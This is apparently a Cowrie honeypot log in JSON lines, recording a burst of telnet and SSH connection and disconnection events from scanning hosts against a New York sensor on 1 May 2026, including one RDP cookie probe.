{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40624,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9e99c2d1433","protocol":"telnet","message":"New connection: 64.235.40.29:40624 (10.17.0.5:23) [session: d9e99c2d1433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.211803Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40436,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bd70e5d53e9","protocol":"telnet","message":"New connection: 64.235.40.29:40436 (10.17.0.5:23) [session: 7bd70e5d53e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.296611Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":43774,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2dabbb213bb","protocol":"telnet","message":"New connection: 160.250.4.73:43774 (10.17.0.5:23) [session: d2dabbb213bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.320742Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40450,"dst_ip":"10.17.0.5","dst_port":23,"session":"073aede7c011","protocol":"telnet","message":"New connection: 64.235.40.29:40450 (10.17.0.5:23) [session: 073aede7c011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.376501Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40646,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32ce27c2fdc","protocol":"telnet","message":"New connection: 64.235.40.29:40646 (10.17.0.5:23) [session: e32ce27c2fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.421571Z"}
{"eventid":"cowrie.session.closed","duration":31.4263653755188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.443323Z","src_ip":"64.235.40.29","session":"ab5b4bb35016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.355420351028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.449769Z","src_ip":"64.235.40.29","session":"de63d9a48ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474393606185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.725178Z","src_ip":"64.235.40.29","session":"05c3ec51c574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfc96b4d05b","protocol":"telnet","message":"New connection: 64.235.40.29:40752 (10.17.0.5:23) [session: 9dfc96b4d05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.818609Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40794,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37b93658e2c","protocol":"telnet","message":"New connection: 64.235.40.29:40794 (10.17.0.5:23) [session: a37b93658e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.954041Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40808,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab9d3ca8204","protocol":"telnet","message":"New connection: 64.235.40.29:40808 (10.17.0.5:23) [session: 2ab9d3ca8204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.973213Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":43788,"dst_ip":"10.17.0.5","dst_port":23,"session":"30133bede7d0","protocol":"telnet","message":"New connection: 160.250.4.73:43788 (10.17.0.5:23) [session: 30133bede7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.036442Z"}
{"eventid":"cowrie.session.closed","duration":30.64803385734558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.045036Z","src_ip":"64.235.40.29","session":"1df3967997de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87862253189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.083030Z","src_ip":"64.235.40.29","session":"366ac6bf922d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.309956073760986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.113968Z","src_ip":"64.235.40.29","session":"26554859a73e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869770526885986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.149370Z","src_ip":"160.250.4.73","session":"8bcf6e6fc882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":46990,"dst_ip":"159.203.135.109","dst_port":23,"session":"964533a33284","protocol":"telnet","message":"New connection: 212.129.6.158:46990 (159.203.135.109:23) [session: 964533a33284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.235600Z"}
{"eventid":"cowrie.session.closed","duration":30.995882511138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.329603Z","src_ip":"64.235.40.29","session":"5da39430b7e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40936,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe3f7137fb31","protocol":"telnet","message":"New connection: 64.235.40.29:40936 (10.17.0.5:23) [session: fe3f7137fb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.370652Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":47016,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9c3d7f6e39","protocol":"telnet","message":"New connection: 212.129.6.158:47016 (159.203.135.109:23) [session: 4f9c3d7f6e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.426690Z"}
{"eventid":"cowrie.session.closed","duration":31.201869010925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.468294Z","src_ip":"64.235.40.29","session":"2d54d19f952a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40678,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa3a8046a759","protocol":"telnet","message":"New connection: 64.235.40.29:40678 (10.17.0.5:23) [session: aa3a8046a759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.652537Z"}
{"eventid":"cowrie.session.closed","duration":31.74329137802124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:40.906419Z","src_ip":"64.235.40.29","session":"6bf19c43f05f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6442eecddf5c","protocol":"telnet","message":"New connection: 64.235.40.29:41070 (10.17.0.5:23) [session: 6442eecddf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.010703Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41086,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6caafc9a6c","protocol":"telnet","message":"New connection: 64.235.40.29:41086 (10.17.0.5:23) [session: 4b6caafc9a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.109960Z"}
{"eventid":"cowrie.session.closed","duration":30.51977825164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.141010Z","src_ip":"64.235.40.29","session":"edd57ade428d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c07847e8d6","protocol":"telnet","message":"New connection: 135.148.33.217:45080 (10.17.0.5:23) [session: 90c07847e8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.184807Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"46479b2bc94a","protocol":"telnet","message":"New connection: 64.235.40.29:41096 (10.17.0.5:23) [session: 46479b2bc94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.189793Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":45088,"dst_ip":"10.17.0.5","dst_port":23,"session":"9443c687304a","protocol":"telnet","message":"New connection: 135.148.33.217:45088 (10.17.0.5:23) [session: 9443c687304a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.192652Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40884,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3492318b70","protocol":"telnet","message":"New connection: 64.235.40.29:40884 (10.17.0.5:23) [session: eb3492318b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.214650Z"}
{"eventid":"cowrie.session.closed","duration":32.03872108459473,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.357602Z","src_ip":"64.235.40.29","session":"624f92755006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"32.5","message":"Connection lost after 32.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.437425Z","src_ip":"122.168.114.167","session":"f921de9a4ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18703866004944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.499123Z","src_ip":"64.235.40.29","session":"ce150dba874c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41148,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5d82956441","protocol":"telnet","message":"New connection: 64.235.40.29:41148 (10.17.0.5:23) [session: cf5d82956441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.694941Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40998,"dst_ip":"10.17.0.5","dst_port":23,"session":"af716096f8de","protocol":"telnet","message":"New connection: 64.235.40.29:40998 (10.17.0.5:23) [session: af716096f8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.740433Z"}
{"eventid":"cowrie.session.closed","duration":31.83648443222046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.800521Z","src_ip":"64.235.40.29","session":"d5bb4f442d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae4706d5fa76","protocol":"telnet","message":"New connection: 64.235.40.29:40570 (10.17.0.5:23) [session: ae4706d5fa76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.887263Z"}
{"eventid":"cowrie.session.closed","duration":31.561190366744995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:41.960906Z","src_ip":"64.235.40.29","session":"9ba947f3f12a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832342863082886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.014051Z","src_ip":"135.148.33.217","session":"b249435fc205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8247e67cfa5","protocol":"telnet","message":"New connection: 64.235.40.29:41156 (10.17.0.5:23) [session: d8247e67cfa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.116984Z"}
{"eventid":"cowrie.session.closed","duration":30.475287437438965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.150968Z","src_ip":"64.235.40.29","session":"bf748eb91edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41158,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3f4c117bf9f","protocol":"telnet","message":"New connection: 64.235.40.29:41158 (10.17.0.5:23) [session: b3f4c117bf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.221706Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec54495c8711","protocol":"telnet","message":"New connection: 64.235.40.29:41114 (10.17.0.5:23) [session: ec54495c8711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.251661Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":43798,"dst_ip":"10.17.0.5","dst_port":23,"session":"745d04e0533d","protocol":"telnet","message":"New connection: 160.250.4.73:43798 (10.17.0.5:23) [session: 745d04e0533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.298659Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9ee252c4cf8","protocol":"telnet","message":"New connection: 64.235.40.29:41162 (10.17.0.5:23) [session: d9ee252c4cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.381523Z"}
{"eventid":"cowrie.session.closed","duration":30.536468505859375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.399199Z","src_ip":"64.235.40.29","session":"5bedc996531d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46565532684326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.466573Z","src_ip":"64.235.40.29","session":"cc04586e8224","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37749171257019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.476703Z","src_ip":"135.148.33.217","session":"7de3a2193e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95179510116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.483070Z","src_ip":"64.235.40.29","session":"5b7c81ca166a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41192,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b891e4a81b5","protocol":"telnet","message":"New connection: 64.235.40.29:41192 (10.17.0.5:23) [session: 8b891e4a81b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.580331Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41144,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a1d72aa8b0","protocol":"telnet","message":"New connection: 64.235.40.29:41144 (10.17.0.5:23) [session: 05a1d72aa8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.687585Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3616dfa170c4","protocol":"telnet","message":"New connection: 64.235.40.29:41220 (10.17.0.5:23) [session: 3616dfa170c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:42.809073Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8148135d6c79","protocol":"telnet","message":"New connection: 64.235.40.29:41154 (10.17.0.5:23) [session: 8148135d6c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.006927Z"}
{"eventid":"cowrie.session.closed","duration":30.48209285736084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.036630Z","src_ip":"64.235.40.29","session":"da6a106df2f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691925764083862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.040668Z","src_ip":"64.235.40.29","session":"60d22156896a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421156406402588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.064643Z","src_ip":"64.235.40.29","session":"f9d45d714226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41234,"dst_ip":"10.17.0.5","dst_port":23,"session":"08cabcf15102","protocol":"telnet","message":"New connection: 64.235.40.29:41234 (10.17.0.5:23) [session: 08cabcf15102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.101405Z"}
{"eventid":"cowrie.session.closed","duration":30.91044306755066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.122288Z","src_ip":"64.235.40.29","session":"1fca3fb93e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427550315856934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.176519Z","src_ip":"160.250.4.73","session":"fb962c276c12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40866,"dst_ip":"10.17.0.5","dst_port":23,"session":"df405895bc8a","protocol":"telnet","message":"New connection: 64.235.40.29:40866 (10.17.0.5:23) [session: df405895bc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.212367Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":43802,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8a52fec9c3","protocol":"telnet","message":"New connection: 160.250.4.73:43802 (10.17.0.5:23) [session: 2a8a52fec9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.276469Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41262,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c23753a11d","protocol":"telnet","message":"New connection: 64.235.40.29:41262 (10.17.0.5:23) [session: f4c23753a11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.430763Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41270,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6f62e14feb","protocol":"telnet","message":"New connection: 64.235.40.29:41270 (10.17.0.5:23) [session: 2f6f62e14feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.491719Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41206,"dst_ip":"10.17.0.5","dst_port":23,"session":"292e25d82346","protocol":"telnet","message":"New connection: 64.235.40.29:41206 (10.17.0.5:23) [session: 292e25d82346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.680775Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":61903,"dst_ip":"10.17.0.5","dst_port":22,"session":"62be03a05681","protocol":"ssh","message":"New connection: 103.149.252.223:61903 (10.17.0.5:22) [session: 62be03a05681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.884615Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.889400Z","src_ip":"103.149.252.223","session":"62be03a05681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.892618Z","src_ip":"103.149.252.223","session":"62be03a05681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.796169996261597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:43.935908Z","src_ip":"104.207.153.205","session":"8dc497fc393b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647194623947144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.035775Z","src_ip":"64.235.40.29","session":"4afa2e466a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600258350372314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.084553Z","src_ip":"64.235.40.29","session":"4e76542d0d0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116007089614868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.088958Z","src_ip":"64.235.40.29","session":"0ece9b00a3cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206697702407837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.170350Z","src_ip":"160.250.4.73","session":"da131c0c882c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904987812042236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.175172Z","src_ip":"64.235.40.29","session":"05c5916a005b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284674882888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.197498Z","src_ip":"64.235.40.29","session":"ca3ea42635d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828924894332886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.244958Z","src_ip":"64.235.40.29","session":"105adba37530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a20658633a1","protocol":"telnet","message":"New connection: 64.235.40.29:41310 (10.17.0.5:23) [session: 1a20658633a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.318094Z"}
{"eventid":"cowrie.session.closed","duration":31.183547258377075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.370637Z","src_ip":"64.235.40.29","session":"e28201664ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41286,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d02b67d31d6","protocol":"telnet","message":"New connection: 64.235.40.29:41286 (10.17.0.5:23) [session: 8d02b67d31d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.556766Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41372,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc1233a0aa6a","protocol":"telnet","message":"New connection: 64.235.40.29:41372 (10.17.0.5:23) [session: bc1233a0aa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.744226Z"}
{"eventid":"cowrie.session.closed","duration":31.42449426651001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.937444Z","src_ip":"64.235.40.29","session":"6355f0d35a0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49506,"dst_ip":"10.17.0.5","dst_port":23,"session":"8286d7d2f2e4","protocol":"telnet","message":"New connection: 64.235.40.29:49506 (10.17.0.5:23) [session: 8286d7d2f2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:44.959986Z"}
